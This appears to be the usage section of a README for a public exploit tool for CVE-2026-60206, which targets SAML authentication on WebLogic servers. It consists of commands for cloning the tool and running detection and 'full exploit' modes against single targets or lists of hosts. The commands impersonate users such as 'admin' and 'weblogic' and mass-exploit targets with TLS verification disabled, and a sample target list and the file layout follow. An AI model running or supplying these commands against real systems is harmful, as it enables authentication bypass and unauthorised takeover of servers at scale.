git clone https://github.com/imbas007/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt

# Detect version + SAML endpoints
python3 CVE-2026-60206-exploit.py -t https://target:7002 --detect

# Full exploit (all attack vectors)
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all -u weblogic

# Specific mode
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode combo -u admin -v

# With proxy
python3 CVE-2026-60206-exploit.py -t https://target:7002 --mode all --proxy http://127.0.0.1:8080 --no-verify

# Detect only
python3 CVE-2026-60206-exploit.py -l targets.txt -o results.json

# Detect + exploit (faster)
python3 CVE-2026-60206-exploit.py -l targets.txt --exploit --no-verify -T 30 -o results.json

# Single URL mass mode
python3 CVE-2026-60206-exploit.py -l https://target:7002 --exploit

192.168.1.100:7002
https://10.0.0.50
example.com

python3 CVE-2026-60206-exploit.py --list-modes

CVE-2026-60206/
├── CVE-2026-60206-exploit.py   # Main script (single + mass)
├── mass_scan.py                # Mass scanner module
├── modules/
│   ├── samlib.py               # SAML manipulation (XSW, NameID, etc.)
│   ├── weblogic_client.py      # WebLogic HTTP client
│   └── logger.py               # Colored logging
├── requirements.txt
└── README.md